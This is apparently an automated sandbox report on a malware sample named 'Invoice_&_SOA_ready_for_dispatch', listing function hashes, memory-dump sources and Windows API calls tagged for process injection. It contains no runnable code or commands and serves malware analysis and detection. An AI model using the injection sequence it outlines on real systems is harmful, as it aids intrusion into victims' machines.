Opcode Fuzzy Hash: c983de32d482566625e1deddd22863a0b31e1a103b474813359480258a801595
Instruction Fuzzy Hash: 079138B1D1075ADFEB24CFA9C840BEDBAF2FF48310F148569E808A6240DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 054E3E04 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 054E3F22

Strings

7KD;, xrefs: 054E3E5E
7KD;, xrefs: 054E3E3E

Memory Dump Source

Source File: 00000000.00000002.1265525054.00000000054E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: CreateWindow
String ID: 7KD;$7KD;
API String ID: 716092398-104565202
Opcode ID: 3673eb97ab8c830db17bd0086adfcf14fd6055558d56d56dc33985caeafc6313
Instruction ID: 30b9dcdf7b69a57ea32429fafaaa90780c16ae97d1cbd9e44af7af361c348b66
Opcode Fuzzy Hash: 3673eb97ab8c830db17bd0086adfcf14fd6055558d56d56dc33985caeafc6313
Instruction Fuzzy Hash: AD51C2B1D00349DFDB15CF99D884ADEBBB6FF48310F64852AE819AB214D774A845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 054E1998 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 054E3F22

Strings

7KD;, xrefs: 054E3E5E
7KD;, xrefs: 054E3E3E

Memory Dump Source

Source File: 00000000.00000002.1265525054.00000000054E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: CreateWindow
String ID: 7KD;$7KD;
API String ID: 716092398-104565202
Opcode ID: 04de7351681545bb59272c6db7982c9db8f26b1e03f0ac4624076d310a9ebfc3
Instruction ID: c2cbb892ceae7424fe5594bf4b0f5528a216aa63f1edcdf5f351604b08487c32
Opcode Fuzzy Hash: 04de7351681545bb59272c6db7982c9db8f26b1e03f0ac4624076d310a9ebfc3
Instruction Fuzzy Hash: 0751A0B1D003499FDB15CF9AD884ADEBBB6BF48310F64852AE819AB214D771A845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 072B2838 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 252
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 072B2B06

Strings

7KD;, xrefs: 072B2AAF

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: AllocVirtual
String ID: 7KD;
API String ID: 4275171209-359210496
Opcode ID: 02a344e45ed4f8ed4be8e215265a053a25f2b3a2742564cd156536b1302af37a
Instruction ID: 10ec1af2c7596105cf125c2ed3b7404cf99d645f16d5c9588e3103bbd3eff8c6
Opcode Fuzzy Hash: 02a344e45ed4f8ed4be8e215265a053a25f2b3a2742564cd156536b1302af37a
Instruction Fuzzy Hash: 4891E0B0A106259FDB25CB29C8906AEFBF6FF89350F24C619D42597269C770EC41CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 02E9D338 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02E9D59E

Strings

7KD;, xrefs: 02E9D557

Memory Dump Source

Source File: 00000000.00000002.1262831946.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e90000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: HandleModule
String ID: 7KD;
API String ID: 4139908857-359210496
Opcode ID: b62d388abde0c48799a26ec8b7728e563fb331cde832adc969ff091772b9a2eb
Instruction ID: 1467a69d02ed1940c8cf2bb795258035699d04149cb8ccb58f6a4f93a56a330c
Opcode Fuzzy Hash: b62d388abde0c48799a26ec8b7728e563fb331cde832adc969ff091772b9a2eb
Instruction Fuzzy Hash: 6F813670A00B158FDB28EF29D44479ABBF1FF89308F109A2AD48AD7B50D774E945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02E9449C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02E959A9

Strings

7KD;, xrefs: 02E9592C

Memory Dump Source

Source File: 00000000.00000002.1262831946.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e90000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: Create
String ID: 7KD;
API String ID: 2289755597-359210496
Opcode ID: a151e5c333aaf54f05ef9a1523460b811e9810e996c5a0997f0a29c8094badae
Instruction ID: 44a941546d063850e734fbf3b925eef03c4a74385f3cdb1c0ee616b359db2e8e
Opcode Fuzzy Hash: a151e5c333aaf54f05ef9a1523460b811e9810e996c5a0997f0a29c8094badae
Instruction Fuzzy Hash: 4641CFB0C00719CBEB24DFA9C884BDDBBB5BF49304F60806AD409AB255DBB16945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02E958ED Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02E959A9

Strings

7KD;, xrefs: 02E9592C

Memory Dump Source

Source File: 00000000.00000002.1262831946.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e90000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: Create
String ID: 7KD;
API String ID: 2289755597-359210496
Opcode ID: b56c9a2b5a17ecef79c6af163022732f10338fb40682f715482665e9b8d99419
Instruction ID: 544805555ff78b0e933dfa5b6870b68a1c24165b26fdc110c2dbad1701691e6c
Opcode Fuzzy Hash: b56c9a2b5a17ecef79c6af163022732f10338fb40682f715482665e9b8d99419
Instruction Fuzzy Hash: 9841D1B0C00719CBEF24DFA9C884BDDBBB5BF49304F60815AD419AB255DBB16949CF90

Uniqueness

Uniqueness Score: -1.00%

Function 072B4CC0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,072B53A1,?,?), ref: 072B5548

Strings

7KD;, xrefs: 072B550A

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID: 7KD;
API String ID: 2591292051-359210496
Opcode ID: c93a86da396ef31ff5059978236fa4c093e1574d7a6464a5fa642501b9085bcc
Instruction ID: ead85cc2065a0c58f1b6dfaaa018620c46adb07fe97219347ef2f88a16905bda
Opcode Fuzzy Hash: c93a86da396ef31ff5059978236fa4c093e1574d7a6464a5fa642501b9085bcc
Instruction Fuzzy Hash: 4A31E1B2C143488FDB20DFAAC4457DABBF0EF49320F14846AD959AB351D778D445CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 072B2B50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 70
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 072B2BE8

Strings

7KD;, xrefs: 072B2B77

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: 7KD;
API String ID: 3559483778-359210496
Opcode ID: b9821a270491f589b7da1b1bdae39680617a16da87792912ecad7a3a08a61372
Instruction ID: 50bc12ea559401508cc2fb716c020ff95187bdd33f89d8d9470579a31eaeae98
Opcode Fuzzy Hash: b9821a270491f589b7da1b1bdae39680617a16da87792912ecad7a3a08a61372
Instruction Fuzzy Hash: 682148B5900359DFDB10CFA9C985BEEBBF5FF48310F14842AE958A7240CB789941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 072B2B58 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 072B2BE8

Strings

7KD;, xrefs: 072B2B77

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: 7KD;
API String ID: 3559483778-359210496
Opcode ID: c57ce02154102527b040f6018a561a5adc345c6162ce36f15cceb3c0e8db9187
Instruction ID: 45f1b0cf5c8fbca53704b5cb82f1aaf5ce2db153c5cea2ac072471c6697dadb9
Opcode Fuzzy Hash: c57ce02154102527b040f6018a561a5adc345c6162ce36f15cceb3c0e8db9187
Instruction Fuzzy Hash: CA212AB5900359DFDB10DFAAC884BDEBBF5FF48310F108429E919A7240CB789955CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02E9F81C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02E9FBF6,?,?,?,?,?), ref: 02E9FCB7

Strings

7KD;, xrefs: 02E9FC4F

Memory Dump Source

Source File: 00000000.00000002.1262831946.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e90000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: DuplicateHandle
String ID: 7KD;
API String ID: 3793708945-359210496
Opcode ID: 9125f91c4314ef7e0a05240c75c1052b2143f0ed8746e9e8585a828a3c3598f8
Instruction ID: 234a3dd52a5d50dba6965763d2786d356f72ae85d3a5386d10a78d36fc8b5a56
Opcode Fuzzy Hash: 9125f91c4314ef7e0a05240c75c1052b2143f0ed8746e9e8585a828a3c3598f8
Instruction Fuzzy Hash: A521E4B5D00348AFDB10CFAAD584BEEBBF4EB48314F14841AE914A7310D374A950CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02E9FC29 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02E9FBF6,?,?,?,?,?), ref: 02E9FCB7

Strings

7KD;, xrefs: 02E9FC4F

Memory Dump Source

Source File: 00000000.00000002.1262831946.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e90000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: DuplicateHandle
String ID: 7KD;
API String ID: 3793708945-359210496
Opcode ID: ba00e9562c86d699ab1880fe6025ddb5148007ac2aa8fd66520b4dc4306ff15f
Instruction ID: 0851a927dda450f407495e3d0f314ac575c770b3f1d6ff232b8616620b7b7365
Opcode Fuzzy Hash: ba00e9562c86d699ab1880fe6025ddb5148007ac2aa8fd66520b4dc4306ff15f
Instruction Fuzzy Hash: 1021E3B59003489FDB10CFAAD985AEEBBF4EB48314F14841AE914A3310C374A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 072B2758 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 072B27DE

Strings

7KD;, xrefs: 072B277C

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: ContextThreadWow64
String ID: 7KD;
API String ID: 983334009-359210496
Opcode ID: 5a4dd6184cc43cb64699072bb58e37d112b11ab70c3a2cf2d102711f9d6513ce
Instruction ID: c3676315a99e1e335ecf1c1a79d8dbe2b7e38309c3066135eddf02d74eb8c077
Opcode Fuzzy Hash: 5a4dd6184cc43cb64699072bb58e37d112b11ab70c3a2cf2d102711f9d6513ce
Instruction Fuzzy Hash: BF2137B5D003098FDB24DFAAC5857EEBBF5EF48354F14842AD819A7240CB789945CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 072B2760 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 072B27DE

Strings

7KD;, xrefs: 072B277C

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: ContextThreadWow64
String ID: 7KD;
API String ID: 983334009-359210496
Opcode ID: 72e4c582fc7b26c3a7deb07d7d4fd0004f8eaa5f32ebc71f7c12fcb7ae2dfb45
Instruction ID: f64b09afb8d8d96a0445840e0b1f2ead169f0d5df8098255779962580fe48baf
Opcode Fuzzy Hash: 72e4c582fc7b26c3a7deb07d7d4fd0004f8eaa5f32ebc71f7c12fcb7ae2dfb45
Instruction Fuzzy Hash: 702137B1D003098FDB24DFAAC484BEEBBF5EF48354F148429D819A7240CB789945CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 072B2C48 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 072B2CC8

Strings

7KD;, xrefs: 072B2C67

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: MemoryProcessRead
String ID: 7KD;
API String ID: 1726664587-359210496
Opcode ID: 139e1ad6bfa3ca23078b955ff87430c916f047cc3ae40a842e6117baea877616
Instruction ID: fb9338d36c66deee970c1f0e6e5bd34eb990f99a81fdd7538249a73ee397645f
Opcode Fuzzy Hash: 139e1ad6bfa3ca23078b955ff87430c916f047cc3ae40a842e6117baea877616
Instruction Fuzzy Hash: 612128B1C003599FDB20DFAAC880BEEBBF5FF48310F508429E918A7250C7789941CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 072B2C41 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 072B2CC8

Strings

7KD;, xrefs: 072B2C67

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: MemoryProcessRead
String ID: 7KD;
API String ID: 1726664587-359210496
Opcode ID: 23e5fd1cefc4027b0c9ff4b8dbf00ea6ec52590fcb2d22407a7ef0445a4c7d22
Instruction ID: cf73fdee682bbc63d0284c1b30be34296646c87fc71a2e2cd8149ce5e7174669
Opcode Fuzzy Hash: 23e5fd1cefc4027b0c9ff4b8dbf00ea6ec52590fcb2d22407a7ef0445a4c7d22
Instruction Fuzzy Hash: 542116B5C003599FDB10DFAAC985BEEBBF5FF48310F14842AE958A7250C7789541CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02E9C6D0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02E9D619,00000800,00000000,00000000), ref: 02E9D82A

Strings

7KD;, xrefs: 02E9D7DF

Memory Dump Source

Source File: 00000000.00000002.1262831946.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e90000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: LibraryLoad
String ID: 7KD;
API String ID: 1029625771-359210496
Opcode ID: 722e654ae07c13f80ed872357ffd509b2a873ce992ce3eb384a2a12fef7b6f65
Instruction ID: 4dc5d51220636c391218fbf3ef082df1e723d6dc420d6454e8cf21a99fb8b8d4
Opcode Fuzzy Hash: 722e654ae07c13f80ed872357ffd509b2a873ce992ce3eb384a2a12fef7b6f65
Instruction Fuzzy Hash: 7B1114B6D003598FDB20DF9AD844BEEFBF4EB88714F10842AD919A7200C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 072B2A90 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 072B2B06

Strings

7KD;, xrefs: 072B2AAF

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: AllocVirtual
String ID: 7KD;
API String ID: 4275171209-359210496
Opcode ID: f3529ffa58912f532a74f8eef3e01611125a1b71e00333eff88476ef31ecd391
Instruction ID: 2b4b95dbbd0fde256ddf6538097b047dc36d951d42801d93e42822c6f6e8ba6b
Opcode Fuzzy Hash: f3529ffa58912f532a74f8eef3e01611125a1b71e00333eff88476ef31ecd391
Instruction Fuzzy Hash: 571156B69003499FDB20DFAAD844BEEBBF5BF48310F248819D559A7250CB759541CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 072B26A8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 072B2712

Strings

7KD;, xrefs: 072B26C7

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: ResumeThread
String ID: 7KD;
API String ID: 947044025-359210496
Opcode ID: 8c897c0c7691a222c29343d92c884f076d30ec26d8f0fcde717fb4c1fb14f631
Instruction ID: 196e093952b5a8f5b354b8b816044cbdf36a75d7f596e22282d811736e1638ed
Opcode Fuzzy Hash: 8c897c0c7691a222c29343d92c884f076d30ec26d8f0fcde717fb4c1fb14f631
Instruction Fuzzy Hash: D8116AB1D003498FDB24DFAAC8457DEFBF5EF88320F248819D419A7240CB79A941CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02E9D7B8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02E9D619,00000800,00000000,00000000), ref: 02E9D82A

Strings

7KD;, xrefs: 02E9D7DF

Memory Dump Source

Source File: 00000000.00000002.1262831946.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e90000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: LibraryLoad
String ID: 7KD;
API String ID: 1029625771-359210496
Opcode ID: 3c36dfd46be5c8761e717172b46970b95e3dc9e1adcfaa3f461195fc3e7caa1b
Instruction ID: 9b5ffc090de56676975a87954eacdf0d9fddfb22c012460275ed26e107bc55d4
Opcode Fuzzy Hash: 3c36dfd46be5c8761e717172b46970b95e3dc9e1adcfaa3f461195fc3e7caa1b
Instruction Fuzzy Hash: 081112B6D003498FDB24DFAAD944BEEFBF4AB48314F14842AD819A7201C378A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 072B4CB4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,072B53A1,?,?), ref: 072B5548

Strings

7KD;, xrefs: 072B550A

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID: 7KD;
API String ID: 2591292051-359210496
Opcode ID: f217622514d9f86b0c36afa676fd38b6f1cba895a8346bcd5327000b1626c961
Instruction ID: 1ae2163806ca65191778321193d450387150758f31411def25999516dc043b11
Opcode Fuzzy Hash: f217622514d9f86b0c36afa676fd38b6f1cba895a8346bcd5327000b1626c961
Instruction Fuzzy Hash: D2113AB58103498FDB20DF9AD444BDEBBF5EB48320F148419D958A7341D778A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 072B26B0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 072B2712

Strings

7KD;, xrefs: 072B26C7

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: ResumeThread
String ID: 7KD;
API String ID: 947044025-359210496
Opcode ID: 487221b232fe8d6633833ae636d229bf478f7ded7811b109d0a3ae5f9cad6fdb
Instruction ID: c3a57b64865289a5e54ea66f2e43d2d99da5a7d16c507b68982bdc8da92f0cd2
Opcode Fuzzy Hash: 487221b232fe8d6633833ae636d229bf478f7ded7811b109d0a3ae5f9cad6fdb
Instruction Fuzzy Hash: D81136B1D003498FDB24DFAAD4447EEFBF5EF88324F248819D419A7240CB79A945CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02E9D538 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02E9D59E

Strings

7KD;, xrefs: 02E9D557

Memory Dump Source

Source File: 00000000.00000002.1262831946.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e90000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: HandleModule
String ID: 7KD;
API String ID: 4139908857-359210496
Opcode ID: 986343793c1ee300091b56d3250230945b43f8ea15e185b23693490171f0b64d
Instruction ID: c59cd2b6e4a7861d46ddcbbdbaefcfb6b4955a2e0025925d68123b801f6bfd75
Opcode Fuzzy Hash: 986343793c1ee300091b56d3250230945b43f8ea15e185b23693490171f0b64d
Instruction Fuzzy Hash: EE1102B6C003598FDB20DF9AD844BDEFBF4AB88218F10841AD818A7200D375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 072B3ECC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 072B45BD

Strings

7KD;, xrefs: 072B457A

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: MessagePost
String ID: 7KD;
API String ID: 410705778-359210496
Opcode ID: 587d67a394d82b6afdf843615db7abc10a659f134e99ff6c32ba5c0cd55ccd27
Instruction ID: fd14e297860e7b46998c2fd6adc19f7741c16de0c3bc27048ac3aa516f8dea61
Opcode Fuzzy Hash: 587d67a394d82b6afdf843615db7abc10a659f134e99ff6c32ba5c0cd55ccd27
Instruction Fuzzy Hash: 0C1103B58007499FDB20DF9AD885BDEBBF8EB48314F10841AE918A7201C375A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 072B4559 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 072B45BD

Strings

7KD;, xrefs: 072B457A

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: MessagePost
String ID: 7KD;
API String ID: 410705778-359210496
Opcode ID: 0889d373122fc62ca0274bc0bdf3cc8a8ebd1eeb22dfbcf0e54ec9401b76ad8e
Instruction ID: 24423815a49ef3de4265ebba3ebf1f77568e34f60839c49907ba1cd0ef9258d1
Opcode Fuzzy Hash: 0889d373122fc62ca0274bc0bdf3cc8a8ebd1eeb22dfbcf0e54ec9401b76ad8e
Instruction Fuzzy Hash: 341115B68003499FDB20DF9AD885BDEFBF8EB48320F108419E918A7751C375A544CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 072B54E9 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,072B53A1,?,?), ref: 072B5548

Strings

7KD;, xrefs: 072B550A

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID: 7KD;
API String ID: 2591292051-359210496
Opcode ID: 404a238f4a24f265ab65e7fbe1abd18d19c6f9d9239bb3f6e8ff9612492c6537
Instruction ID: ce912a492e27c9166af88ff8036a75b508bfaafcbf7177878354a0ea84cc303c
Opcode Fuzzy Hash: 404a238f4a24f265ab65e7fbe1abd18d19c6f9d9239bb3f6e8ff9612492c6537
Instruction Fuzzy Hash: DF1136B68003498FDB20DF9AD545BEEBBF5EB48320F24841AD958A7640C778A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 054E658E Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 054E6621

Memory Dump Source

Source File: 00000000.00000002.1265525054.00000000054E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 3f4c7393cc01e95fed94cb842270a815766bbad4253864260a5b4ca51f836852
Instruction ID: 194a8dfba25943773fb669ee253c73f60e4c0b3927944da99fcfbe2a60845bc6
Opcode Fuzzy Hash: 3f4c7393cc01e95fed94cb842270a815766bbad4253864260a5b4ca51f836852
Instruction Fuzzy Hash: E43138B9A00205CFDB14CF55D448BEABBF2FF98314F25C499D4199B321D370A841CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02CFD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1262595676.0000000002CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cfd000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd49ef6c3eccde0e621f293f243cc445ab3a2a13ff91b4d90ff624748df6db9
Instruction ID: 3957140ee1402b02a231e0d5b23c75ed1ce240e81c4f6184c1b5abfc80a62abf
Opcode Fuzzy Hash: 4fd49ef6c3eccde0e621f293f243cc445ab3a2a13ff91b4d90ff624748df6db9
Instruction Fuzzy Hash: F82128B1504304DFDB89DF10D9C0B16BF65FBC4324F24C169EA0B0B256C336E456CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 02D0D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

